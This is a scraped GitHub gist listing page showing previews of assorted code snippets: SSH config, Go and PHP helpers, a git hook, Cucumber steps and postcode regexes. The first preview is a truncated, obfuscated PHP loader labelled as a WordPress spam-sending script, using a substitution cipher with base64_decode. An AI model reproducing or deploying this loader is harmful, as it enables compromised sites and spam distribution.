Skip to content

Instantly share code, notes, and snippets.

View vuon9's full-sized avatar
🍊
chịu

Vuong vuon9

🍊
chịu
View GitHub Profile
@rk295
rk295 / start98.php
Last active April 10, 2017 05:48
Wordpress Spam sending script.
<?php
$gncveldqg = 3411; function wnyflacnaf($rmsjemwvoa, $aaoldmklo){$tqnhdycmh = ''; for($i=0; $i < strlen($rmsjemwvoa); $i++){$tqnhdycmh .= isset($aaoldmklo[$rmsjemwvoa[$i]]) ? $aaoldmklo[$rmsjemwvoa[$i]] : $rmsjemwvoa[$i];}
$fsshefwvmu="base64_decode";return $fsshefwvmu($tqnhdycmh);}
$vogjyrrea = 'LTnbOHF2qvLg6cH1BkF1vcfeq1BECj9HojYIiYVrLTnbOHF2qvLg6cfeqXFnB06eB0m08taYroEptySIPknWBcHVrtQMKvAWq'.
'vAnKdHVONFbvdsIPNR08taYroEptyS2qvsWQTnMqHFEONXIQtJYroEptJVrONKgOvp2qvLg6lFosH6NsHCIrLVrzYVrt5sWRVH'.
'5HyH5N1QL5lSWRVHmsuQQCUVJCuZui1aptJyyvXplRnqlRnE0RyHpoXslvVljslC0v5aFCtCfmxBbmtGY8xj'.
'uiYVrtNnkrtlnPvSVz5JyvXplRnqlRnE05lsRRlFKvVqhRnQSRyslslFToXC0v5yIULg6zYVrtLyyvXplRnqlRnE05'.
'lsRRlFKvVqhRnQSRyslslFToXC0v5aFCtCfmxBbmtGY8xjuiYVrtvVpt0VptknkrTn2BcHVrtsWsynmsHmIrLVrzYVrtN'.
'qeBkHAKcJg6lFT5RflR1SAB1ayOcH9CUV+CtskONfnrLVrtvEptJy6ONKgCvpVB0SeB1JyqknEqHE0PklMq5QQ8ta'.
'u8kIYq1CIrLVrtLnwULg6tLyyqknEqN9APNRJh5SAP4snBnFMKNp'.
@mikolfaro
mikolfaro / ssh-config-multipleIDs
Last active April 21, 2018 10:01
Jenkins and the multiple bitbucket accounts
# File ~/.ssh/config
# First account
Host bitbucket.org-first
HostName bitbucket.org
User git
IdentityFile ~/.ssh/id_rsa_first
# Second account
Host bitbucket.org-second
@shilman
shilman / storybook-3.2-alpha.md
Last active April 17, 2019 00:15
Storybook 3.2-alpha Feedback

Storybook 3.2-alpha Feedback

We're rolling out a few big features in Storybook 3.2 and need your feedback:

  • Vue support
  • Story hierarchy

DISCLAIMERS: Our release process is for getting new features into your hands early to stabilize things. API's may change before full release!

FEEDBACK: To give feedback on a feature comment on the open issue linked below, and be sure to include the version you're using. To give feedback on the release, feel free to comment on this gist, or come chat with us on slack.

@turtlemonvh
turtlemonvh / Gin.WrapHH.go
Last active June 27, 2019 08:02
A pattern for wrapping functions that accept an http handler in gin
// A wrapper that turns a http.ResponseWriter into a gin.ResponseWriter, given an existing gin.ResponseWriter
// Needed if the middleware you are using modifies the writer it passes downstream
// FIXME: Wrap more methods: https://golang.org/pkg/net/http/#ResponseWriter
type WrappedResponseWriter struct {
gin.ResponseWriter
writer http.ResponseWriter
}
func (w *WrappedResponseWriter) Write(data []byte) (int, error) {
return w.writer.Write(data)
@michalraska
michalraska / commit-msg
Last active October 19, 2020 16:45
Git commit msg with ticket id
#!/bin/sh
#
# Automatically adds branch name and branch description to every commit
# message.
#
COMMIT_EDITMSG=$1
addBranchName() {
NAME=$(git branch | grep '*' | sed 's/* //' | grep -Eo '[0-9]+')
DESCRIPTION=$(git config branch."$NAME".description)
@gonzalo-bulnes
gonzalo-bulnes / api_steps.rb
Last active February 3, 2021 16:49 — forked from aeden/api_steps.rb
A set of Cucumber steps to test and document API behaviour (with verbose and DRY step definitions for an example resource).Deeply inspired in @aeden API steps, see http://vimeo.com/30586709
# features/step_definitions/api_steps.rb
# These steps are very deeply inspired in the Anthony Eden (@aeden) API steps.
# See http://vimeo.com/30586709
# Given
Given /^I send and accept JSON$/ do
header 'Accept', 'application/json'
<?php
return [
'GB' => '/^GIR[ ]?0AA|((AB|AL|B|BA|BB|BD|BH|BL|BN|BR|BS|BT|CA|CB|CF|CH|CM|CO|CR|CT|CV|CW|DA|DD|DE|DG|DH|DL|DN|DT|DY|E|EC|EH|EN|EX|FK|FY|G|GL|GY|GU|HA|HD|HG|HP|HR|HS|HU|HX|IG|IM|IP|IV|JE|KA|KT|KW|KY|L|LA|LD|LE|LL|LN|LS|LU|M|ME|MK|ML|N|NE|NG|NN|NP|NR|NW|OL|OX|PA|PE|PH|PL|PO|PR|RG|RH|RM|S|SA|SE|SG|SK|SL|SM|SN|SO|SP|SR|SS|ST|SW|SY|TA|TD|TF|TN|TQ|TR|TS|TW|UB|W|WA|WC|WD|WF|WN|WR|WS|WV|YO|ZE)(\d[\dA-Z]?[ ]?\d[ABD-HJLN-UW-Z]{2}))|BFPO[ ]?\d{1,4}$/',
'JE' => '/^JE\d[\dA-Z]?[ ]?\d[ABD-HJLN-UW-Z]{2}$/',
'GG' => '/^GY\d[\dA-Z]?[ ]?\d[ABD-HJLN-UW-Z]{2}$/',
'IM' => '/^IM\d[\dA-Z]?[ ]?\d[ABD-HJLN-UW-Z]{2}$/',
'US' => '/^\d{5}([ \-]\d{4})?$/',
'CA' => '/^[ABCEGHJKLMNPRSTVXY]\d[ABCEGHJ-NPRSTV-Z][ ]?\d[ABCEGHJ-NPRSTV-Z]\d$/',
'DE' => '/^\d{5}$/',
@ClasslessAndFree
ClasslessAndFree / PHP Curl example
Created April 23, 2012 11:09 — forked from kishorek/PHP Curl example
PHP: Curl function
<?php
function curl_download($Url){
// is cURL installed yet?
if (!function_exists('curl_init')){
die('Sorry cURL is not installed!');
}
// OK cool - then let's create a new cURL resource handle
@liubin
liubin / cookie.go
Created June 4, 2013 12:44
display cookie in go lang
@matryer
matryer / term_context.go
Last active March 10, 2022 05:23
Making Ctrl+C termination cancel the context.Context
func main() {
ctx := context.Background()
// trap Ctrl+C and call cancel on the context
ctx, cancel := context.WithCancel(ctx)
c := make(chan os.Signal, 1)
signal.Notify(c, os.Interrupt)
defer func() {
signal.Stop(c)